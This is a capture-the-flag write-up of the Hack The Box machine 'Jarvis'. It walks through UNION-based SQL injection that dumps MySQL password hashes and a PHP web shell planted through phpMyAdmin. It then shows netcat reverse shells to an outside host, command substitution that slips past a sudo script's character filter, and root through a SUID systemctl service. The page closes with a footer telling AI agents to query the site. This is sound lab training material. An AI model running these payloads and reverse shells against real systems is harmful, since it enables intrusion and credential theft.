# Jarvis

![](/files/G6y5TRgQaBIHweNj073v)

## Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

> nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.143 -oN allPorts

* `-sS` use the **TCP SYN** scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
* `--min-rate 5000` nmap will try to keep the sending rate **at or above** 5000 packets per second.
* `-p-` scanning the entire port range, **from 1 to 65535**.
* `-T5` **insane** mode, it is the fastest mode of the nmap time template.
* `-Pn` assume the host is **online**.
* `-n` scan without reverse **DNS** resolution.
* `-oN` **save** the scan result into a file, in this case the *allports* file.

```
# Nmap 7.92 scan initiated Tue Jan 11 15:10:32 2022 as: nmap -sS --min-rate 5000 -p- -T5 -Pn -n -oN allPorts 10.10.10.143
Warning: 10.10.10.143 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.10.143
Host is up (0.060s latency).
Not shown: 65489 closed tcp ports (reset), 43 filtered tcp ports (no-response)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
64999/tcp open  unknown

# Nmap done at Tue Jan 11 15:10:54 2022 -- 1 IP address (1 host up) scanned in 22.56 seconds
```

As we see, only port 22, port 80 and port 64999 are open.&#x20;

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

> nmap -sC -sV -p22,80,64999 10.10.10.143 -oN targeted

* `-sC` performs the scan using the default set of **scripts**.
* `-sV` enables **version** detection.
* `-oN` **save** the scan result into file, in this case the *targeted* file.

```
# Nmap 7.92 scan initiated Tue Jan 11 15:11:30 2022 as: nmap -sCV -p22,80,64999 -oN targeted 10.10.10.143
Nmap scan report for 10.10.10.143
Host is up (0.061s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)
|   256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)
|_  256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)
80/tcp    open  http    Apache httpd 2.4.25 ((Debian))
|_http-title: Stark Hotel
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.25 (Debian)
64999/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.25 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jan 11 15:12:36 2022 -- 1 IP address (1 host up) scanned in 66.44 seconds
```

We have an HTTP server running on ports *80* and *64999*. If we look at the website on port *80*, we should seethe *Stark Hotel* website.

![](/files/rlKFd5btL9ZVMGPKgvTN)

On the other hand, if we take a look at the website on port *64999*, we should see a message saying that we are banned.

![](/files/6tGi8tjO0P1ED3tMtxh0)

Let's enumerate the box a bit more and run gobuster in order to list directories.

> gobuster dir -u <http://10.10.10.143> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200

* `dir` enumerates **directories or files**.
* `-u` the **target** URL.
* `-w` path to the **wordlist**.
* `-t` number of current **threads**, in this case 200 threads.

```
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.143
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/01/20 22:20:49 Starting gobuster in directory enumeration mode
===============================================================
/css                  (Status: 301) [Size: 310] [--> http://10.10.10.143/css/]
/images               (Status: 301) [Size: 313] [--> http://10.10.10.143/images/]
/js                   (Status: 301) [Size: 309] [--> http://10.10.10.143/js/]    
/fonts                (Status: 301) [Size: 312] [--> http://10.10.10.143/fonts/] 
/phpmyadmin           (Status: 301) [Size: 317] [--> http://10.10.10.143/phpmyadmin/]
/sass                 (Status: 301) [Size: 311] [--> http://10.10.10.143/sass/]      
/server-status        (Status: 403) [Size: 300]                                      
                                                                                     
===============================================================
2022/01/20 22:25:56 Finished
===============================================================
```

Gobuster found the `/phpmyadmin` directory. If we take a look a it, we should see a login page.

![](/files/ujbht1VGXDOB4T5aewn5)

## Exploitation

If we inspect the hotel website, we will find the *Rooms & Suites* section on the main page. If we click in one of the *Book now!* button, we will be redirected to the `/room.php` with the parameter `cod` which holds the room number.

> /room.php?cod=2

![](/files/6dXcV0bGWlcjV2w5DvPM)

If we add the `'` character to the end of the URL, the page doesn't show anything. Same thing happens if we change the number to a non-existing value like `-1`.

> /room.php?cod=2'
>
> /room.php?cod=-1

![](/files/F7CNdkN4Vp5hBZbyNvO7)

At this point, I thought that the website might be vulnerable to MySQL Injection. I tried to see how many columns has the current table of the current database. I did this with the following query:

> /room.php?cod=-1 union select 1,2,3,4,5,6,7,8,9,10-- -

If we run this query, we will not see anything. This is happening because the table doesn't have 10 columns. So the idea here is to run the query, but decreasing the number of columns. If we didn't see anything with 10 columns, let's try it with 9 columns. And if we don't see anything with 9 columns, let's try it with 8, and so on and so on... If we run the query with 7 columns, we should see something interesting.

> /room.php?cod=-1 union select 1,2,3,4,5,6,7-- -

![](/files/V2wDDspW0yIIaFPQwvkr)

Now we have the possibility of enumerating the database replacing the numbers with data we might want to show. For example. Let's try to see the current user that is running the database.

> /room.php?cod=-1 union select 1,2,user(),4,5,6,7-- -

![](/files/53gnoekD2TmXLtG6MVdX)

At this point, you could try to dump the current database, but I anticipate that you will not find any relevant information. But this is not the end. Every MySQL is shipped with default system schemas/databases, one of them is the `mysql` database. This database has the `user` table, which has the `Username` and `Password` columns. Let's see if we can see the content of the `user` table.

> /room.php?cod=-1 union select 1,2,concat(User,":",Password),4,5,6,7 from mysql.user-- -

![](/files/aM15mQDgTPHk2bQ5yxbb)

And we got the user `DBadmin` and a password hash. Let's make use of *rainbow tables* to find out the password.

{% hint style="info" %}
CrackStation uses massive pre-computed lookup tables to crack password hashes. These tables store a mapping between the hash of a password, and the correct password for that hash.

<https://crackstation.net/>
{% endhint %}

![](/files/WiI2bn1pn806hNKik5m5)

CrackStation found a password! Now that we have some credentials, let's try to log in to the `/phpmyadmin` login page.

![](/files/Ur8OnpjblGyjzX3RrirC)

And we got in!

![](/files/SXtR0Bomyye6Ikxe4Cfd)

The idea is to click in any database, for example the *hotel* database, and click on the *SQL* tab in order to run queries. MySQL allow us to dump text into files if we have the right permissions to do so. We could dump PHP code into a file at the `/var/www/html` directory so that we can access the file with the browser. The PHP code will execute at a system level the value of the `cmd` parameter of the URL. This way, we will have *Remote Code Execution (RCE)*.

![](/files/iXLKGcGsKX3dv97f2cGB)

If we click on *GO*, we should get a success message.

![](/files/Vff6DoBmlR2QM0vrdNfJ)

Now if we access the `/RCE.php` file with a command as the value of the `cmd` parameter, we should get a response.

> <http://10.10.10.143/RCE.php?cmd=id>

![](/files/X4a1fyIGWprjAvrQH3x0)

It's time to get a shell. In the first place, let's set a netcat listener on port 4444.

> nc -lvnp 4444

* `-l` **listen** mode.
* `-v` **verbose** mode.
* `-n` **numeric-only** IP, no DNS resolution.
* `-p` specify the **port** to listen on.

If we now access the following URL, we should get a shell.

> <http://10.10.10.143/RCE.php?cmd=nc> -e /bin/bash 10.10.14.12 4444

```
listening on [any] 4444 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.143] 56876
whoami
www-data
```

## Privilege Escalation

First of all, let's set an interactive TTY shell.

> script /dev/null -c /bin/bash&#x20;

Then I press `Ctrl+Z` and execute the following command on my local machine:

> stty raw -echo; fg

Next, I export a few variables:

> export TERM=xterm
>
> export SHELL=bash

Finally, I run the following command in our local machine:

> stty size

```
51 236
```

And set the proper dimensions in the victim machine:

> stty rows 51 columns 236

Let's display allowed environment variable options and list of allowed and prohibited programs.

> sudo -l

* `-l`  list user **privileges**.

```
Matching Defaults entries for www-data on jarvis:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on jarvis:
    (pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py
```

We can run a python script as the user *pepper*. Let's do it.

> sudo -u pepper /var/www/Admin-Utilities/simpler.py

```
***********************************************
     _                 _                       
 ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _ 
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
                |_|               |_|    |___/ 
                                @ironhackers.es
                                
***********************************************


********************************************************
* Simpler   -   A simple simplifier ;)                 *
* Version 1.0                                          *
********************************************************
Usage:  python3 simpler.py [options]

Options:
    -h/--help   : This help
    -s          : Statistics
    -l          : List the attackers IP
    -p          : ping an attacker IP
```

The python script requires an option. Let's try the `-p` option.

```
***********************************************
     _                 _                       
 ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _ 
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
                |_|               |_|    |___/ 
                                @ironhackers.es
                                
***********************************************

Enter an IP: 
```

It asks for an IP. If you enter the IP address of your machine and listen for *ICMP* packets, you will see the packets arriving properly.

> tcpdump -i tun0 icmp -n

* `-i` select **interface**.
* `icmp` **protocol** type.
* `-n` no **DNS** resolution.

```
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
16:10:22.033988 IP 10.10.10.143 > 10.10.14.12: ICMP echo request, id 1002, seq 1, length 64
16:10:22.034013 IP 10.10.14.12 > 10.10.10.143: ICMP echo reply, id 1002, seq 1, length 64
```

Something we could try is to run a command which sends our machine a reverse shell as the user *pepper*.

> Enter an IP: $(nc -e /bin/bash 10.10.14.12 5555)

```
***********************************************
     _                 _                       
 ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _ 
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
                |_|               |_|    |___/ 
                                @ironhackers.es
                                
***********************************************

Enter an IP: $(nc -e /bin/bash 10.10.14.12 5555)
Got you
```

We can't. If we inspect the script, under the `exec_ping` function, we will see that there is a list of characters that the script blocks.

```python
def exec_ping():
    forbidden = ['&', ';', '-', '`', '||', '|']
    command = input('Enter an IP: ')
    for i in forbidden:
        if i in command:
            print('Got you')
            exit()
    os.system('ping ' + command)
```

Something we could do is creating a bash file which sends our machine a reverse shell, and running it with the python script.

> echo "nc -e /bin/bash 10.10.14.12 5555" > /tmp/reverse.sh
>
> chmod +x /tmp/reverse.sh

Before running the python script, let's set another netcat listener on port 5555.

> nc -lvnp 5555

* `-l` **listen** mode.
* `-v` **verbose** mode.
* `-n` **numeric-only** IP, no DNS resolution.
* `-p` specify the **port** to listen on.

If we run the python script and execute the bash binary, we should get the reverse shell as the user pepper, and we'll be able to grab the user flag.

> Enter an IP: $(/tmp/reverse.sh)

```
listening on [any] 5555 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.143] 40902
whoami
pepper
cat /home/pepper/user.txt
2afa36c4f05b37b34259c93551f5c44f
```

Before continuing escalating privileges, let's set another interactive TTY shell. The process is the same as before.

At this point, I tried to see if there were any interesting SUID binaries.

> find / -perm /4000 2>/dev/null

```
/bin/fusermount
/bin/mount
/bin/ping
/bin/systemctl
/bin/umount
/bin/su
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/chfn
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
```

If we can run the *systemctl* command as the root user, we could make a service that sets the SUID permission to the `/bin/bash` binary, so we could have a shell as root. Let's create the `suid.service` file.

```
[Unit]
Description=Privilege Escalation

[Service]
Type=oneshot
ExecStart=/bin/bash -c 'chmod +s /bin/bash'

[Install]
WantedBy=multi-user.target
```

To activate it we have to link and enable the service.

> systemctl link /home/pepper/suid.service

```
Created symlink /etc/systemd/system/suid.service -> /home/pepper/suid.service.
```

> systemctl enable --now /home/pepper/suid.service

```
Created symlink /etc/systemd/system/multi-user.target.wants/suid.service -> /home/pepper/suid.service.
```

Now we should see the /bin/bash with the *SUID* bit activated.

> ls -l /bin/bash

```
-rwsr-sr-x 1 root root 1099016 May 15  2017 /bin/bash
```

Finally, if we run the *bash* with the `-p` option, we should get a shell as the *root* user. And all we have to do is reap the harvest and take the root flag.

> bash -p

```
bash-4.4# whoami
root
bash-4.4# cat /root/root.txt 
d41d8cd98f00b204e9800998ecf84271
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://alfa8sa.gitbook.io/htb-writeups/linux-machines/jarvis.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
